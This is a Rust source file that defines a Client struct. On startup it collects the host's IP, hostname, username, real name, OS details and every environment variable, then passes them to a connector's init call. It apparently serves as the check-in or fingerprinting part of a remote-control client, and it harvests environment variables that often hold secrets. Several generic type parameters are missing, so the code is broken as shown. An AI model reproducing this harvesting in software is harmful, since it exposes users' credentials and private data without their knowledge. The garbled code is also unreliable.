use gethostname::gethostname; use std::net::IpAddr; use whoami::{DesktopEnv, Language}; use crate::connector::Connection; pub struct Client { pub connector: C, ip: Option, hostname: String, device_name: String, os: &'static str, cpu_arch: String, distro: String, desktop_env: DesktopEnv, username: String, realname: String, langs: Option>, env: Vec<(String, String)>, } impl std::fmt::Display for Client { fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { write!( f, "IP: {:?}\n\ Hostname: {}\n\ Device Name: {}\n\ OS: {}\n\ CPU Architecture: {}\n\ Distro: {}\n\ Desktop Environment: {:?}\n\ Username: {}\n\ Real Name: {}\n\ Languages: {:?}\n\ Environment Variables: {:?}\n", self.ip, self.hostname, self.device_name, self.os, self.cpu_arch, self.distro, self.desktop_env, self.username, self.realname, self.langs, self.env ) } } impl Client { pub fn new(connector: C) -> Self { let c = Self { ip: connector.get_ip(), connector, hostname: gethostname().into_string().unwrap_or_default(), device_name: whoami::devicename(), os: std::env::consts::OS, cpu_arch: std::env::consts::ARCH.to_string(), distro: whoami::distro(), desktop_env: whoami::desktop_env(), username: whoami::username(), realname: whoami::realname(), langs: match whoami::langs() { Ok(it) => Some(it.collect()), Err(_) => None, }, env: std::env::vars().collect(), }; c.connector.init(&c); c } }